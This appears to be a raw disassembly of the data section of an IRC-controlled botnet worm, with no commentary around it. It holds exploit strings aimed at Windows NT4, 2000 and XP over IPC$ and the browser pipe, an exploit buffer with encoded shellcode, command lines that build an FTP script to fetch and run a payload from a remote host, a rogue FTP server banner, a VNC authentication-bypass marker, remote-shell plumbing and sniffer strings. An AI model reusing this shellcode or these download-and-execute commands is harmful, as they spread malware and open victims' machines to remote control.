aWindowsNt42000	db 'Windows NT4, 2000 (SP0-SP4)',0
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:0044A14Co
		align 4
a__9:					; DATA XREF: sub_40D46C+10o
		unicode	0, <.>,0
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D46C+33o
		align 4
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D46C+84o
		align 4
dword_44A1BC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40D46C+F5o
dword_44A1D0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40D46C+151o
; ---------------------------------------------------------------------------


loc_44A1E4:				; DATA XREF: sub_40D46C+221o
		jmp	short near ptr dword_44A1E8
; ---------------------------------------------------------------------------
		align 4
dword_44A1E8	dd 0			; CODE XREF: .nsp0:loc_44A1E4j
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40D974+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_44A260	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40DBCD+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_1	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DAB6+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44B4E8	dw 1			; DATA XREF: .nsp0:0040DD0Dr
		align 4
dword_44B4EC	dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: .nsp0:0040DD96o
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .nsp0:0040DEFCo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40E017+130o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40E203+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E4A5+1C9o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_40E4A5+251o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40E4A5+262o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40E4A5+277o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40E4A5+287o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E4A5+29Bo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40E4A5+2ABo
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E4A5+2BFo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40E4A5+2CFo
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E4A5+2E3o
		align 4
off_44B628	dd offset off_445750	; DATA XREF: sub_40E4A5+2F3o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E4A5+307o
		align 4
aType		db 'TYPE',0             ; DATA XREF: sub_40E4A5+317o
		align 4
aA_0:					; DATA XREF: sub_40E4A5+32Eo
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E4A5+342o
aType_0		db 'TYPE',0             ; DATA XREF: sub_40E4A5+352o
		align 4
aI:					; DATA XREF: sub_40E4A5+369o
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E4A5+37Do
aPasv		db 'PASV',0             ; DATA XREF: sub_40E4A5+38Do
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40E4A5+3A0o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40E4A5+3DBo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E4A5+3EEo
		align 10h
aPort		db 'PORT',0             ; DATA XREF: sub_40E4A5+41Co
		align 4
aS_19		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E4A5+455o
		db ']',0
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40E4A5+496o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40E4A5+4C9o
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E4A5+4DAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40E4A5+4EFo
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40E4A5+507o
		align 4
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E4A5+530o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E4A5+57Ao
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E4A5+58Co
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40E4A5+5DDo
		align 10h
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_40E4A5+5EAo
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E4A5+5FEo
aRb		db 'rb',0               ; DATA XREF: sub_40EB56+24o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_40EBF0+26Fo
		align 10h
asc_44B820:				; DATA XREF: sub_40EBF0+292o
		unicode	0, < >,0
asc_44B824:				; DATA XREF: sub_40EBF0+297o
		unicode	0, < >,0
aGet_0		db 'GET ',0             ; DATA XREF: sub_40EBF0+2A2o
		align 10h
asc_44B830	db 0Dh,0Ah,0		; DATA XREF: sub_40EBF0+2D5o
		align 4
unk_44B834	db  2Dh	; -		; DATA XREF: sub_40EBF0+3FEo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F051+5Eo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F051:loc_40F0B6o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F051+83o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F051+97o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_20		db '\%s',0              ; DATA XREF: sub_40F1D3+2Fo
aS_21		db '%s',0               ; DATA XREF: sub_40F1D3+3Ao
		align 4
aSS_2		db '%s%s',0             ; DATA XREF: sub_40F1D3+EAo
		align 10h
asc_44BA80:				; DATA XREF: sub_40F1D3+FBo
		dw 0Ah
		unicode	0, <>,0
asc_44BA84:				; DATA XREF: sub_40F1D3+157o
		unicode	0, <*>,0
unk_44BA88	db  2Dh	; -		; DATA XREF: sub_40F1D3+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
unk_44BABC	db  2Dh	; -		; DATA XREF: sub_40F1D3+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' failed to start worker thread, error %d',0
		align 4
asc_44BAF4:				; DATA XREF: sub_40F483+29o
		dw 0Ah
		unicode	0, <>,0
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+4Bo
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F483+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F483+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+147o
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: sub_40F483+232o
		align 4
a__1:					; DATA XREF: sub_40F483+24Do
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_40F483+285o
		align 10h
aAm		db 'AM',0               ; DATA XREF: sub_40F483+290o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F483+2BAo
aS_22		db '<%s>',0             ; DATA XREF: sub_40F483+2E4o
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F483+30Eo
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+330o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_3		db '%s%s/',0            ; DATA XREF: sub_40F483+374o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F483+3BBo
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F845o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F483+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aS_23		db '<%s>',0             ; DATA XREF: sub_40F483+413o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+434o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F483+471o
		align 10h
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_4		db '%s%s',0             ; DATA XREF: sub_40F483+4CAo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F483+511o
		align 4
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F99Bo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F483+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F483+589o
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F483+618o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F483+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F483+64Eo
		align 4
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40FBF0+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_44BFCC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40FD11+BBo
aClientConnecti	db '- client connection from %s:%d.',0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40FD11+113o
dword_44C010	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40FD11+16Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
unk_44C03C	db  2Dh	; -		; DATA XREF: sub_40FEBC+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_44C084	db  2Dh	; -		; DATA XREF: sub_40FEBC+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_31	db 'Failed to start client thread, error: <%d>.',0
unk_44C0C0	db  2Dh	; -		; DATA XREF: sub_41004D+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_44C104	db  2Dh	; -		; DATA XREF: sub_41004D+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_32	db 'Failed to start connection thread, error: <%d>.',0
unk_44C144	db  2Dh	; -		; DATA XREF: sub_4102D1+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4102D1+172o
		align 4
unk_44C184	db  2Dh	; -		; DATA XREF: sub_4102D1+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
unk_44C1AC	db  2Dh	; -		; DATA XREF: sub_4102D1+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_44C1D8	db  2Dh	; -		; DATA XREF: sub_4102D1+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_44C204	db  2Dh	; -		; DATA XREF: sub_4104D6:loc_41051Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
dword_44C230	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410530+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 10h
unk_44C2A0	db  2Dh	; -		; DATA XREF: sub_41055F+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_44C2CC	db  2Dh	; -		; DATA XREF: sub_41055F+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 10h
unk_44C310	db  2Dh	; -		; DATA XREF: sub_41055F+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_44C34C	db  2Dh	; -		; DATA XREF: sub_41055F+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_44C390	db  2Dh	; -		; DATA XREF: sub_41055F+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_33	db '- Failed to start client thread, error: <%d>.',0
		align 4
unk_44C3CC	db  2Dh	; -		; DATA XREF: sub_41055F+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_44C404	db  2Dh	; -		; DATA XREF: sub_4107E7+59o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44C44C	db  2Dh	; -		; DATA XREF: sub_4107E7+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44C494	db  2Dh	; -		; DATA XREF: sub_4107E7+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_44C4C8	db  2Dh	; -		; DATA XREF: sub_410938+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_44C508	db  2Dh	; -		; DATA XREF: sub_410938+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_44C548	db  2Dh	; -		; DATA XREF: sub_410938+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410A31+8Co
		align 4
unk_44C578	db  2Dh	; -		; DATA XREF: sub_410A31+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
unk_44C5B0	db  2Dh	; -		; DATA XREF: sub_410B0A+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_44C5EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410CDF+A8o
aServerStarte_5	db '- Server started on: %s:%d.',0
dword_44C614	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410CDF+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_44C658	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410CDF+18Fo
aFailedToSta_34	db '- Failed to start client thread, error: <%d>.',0
		align 4
dword_44C694	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410CDF+1B2o
aFailedToSta_35	db '- Failed to start server on Port %d.',0
		align 4
dword_44C6C8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410EE4+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_44C708	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410EE4+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_44C748	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_410EE4+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
aOctet		db 'octet',0
		align 4
aRb_0		db 'rb',0               ; DATA XREF: sub_4112A8+130o
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_4112A8+2CDo
		align 4
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_4112A8+3C4o
		align 4
dword_44C7D8	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_4112A8+41Co
dword_44C7E4	dd 20746F42h, 66696E73h, 66h ; DATA XREF: sub_411734+5o
dword_44C7F0	dd 4E53505Bh, 5D464649h, 3Ah ; DATA XREF: sub_411734+2Bo
dword_44C7FC	dd 494E5350h, 2F2F4646h, 0 ; DATA XREF:	sub_411734+3Co
dword_44C808	dd 4E494F4Ah, 2320h	; DATA XREF: sub_411734+4Do
dword_44C810	dd 20323033h, 0		; DATA XREF: sub_411734:loc_411796o
dword_44C818	dd 20363633h, 0		; DATA XREF: sub_411734+73o
dword_44C820	dd 6F6C2E3Ah, 6E6967h	; DATA XREF: sub_411734+84o
dword_44C828	dd 6F6C213Ah, 6E6967h	; DATA XREF: sub_411734+95o
dword_44C830	dd 6F4C213Ah, 6E6967h	; DATA XREF: sub_411734+A6o
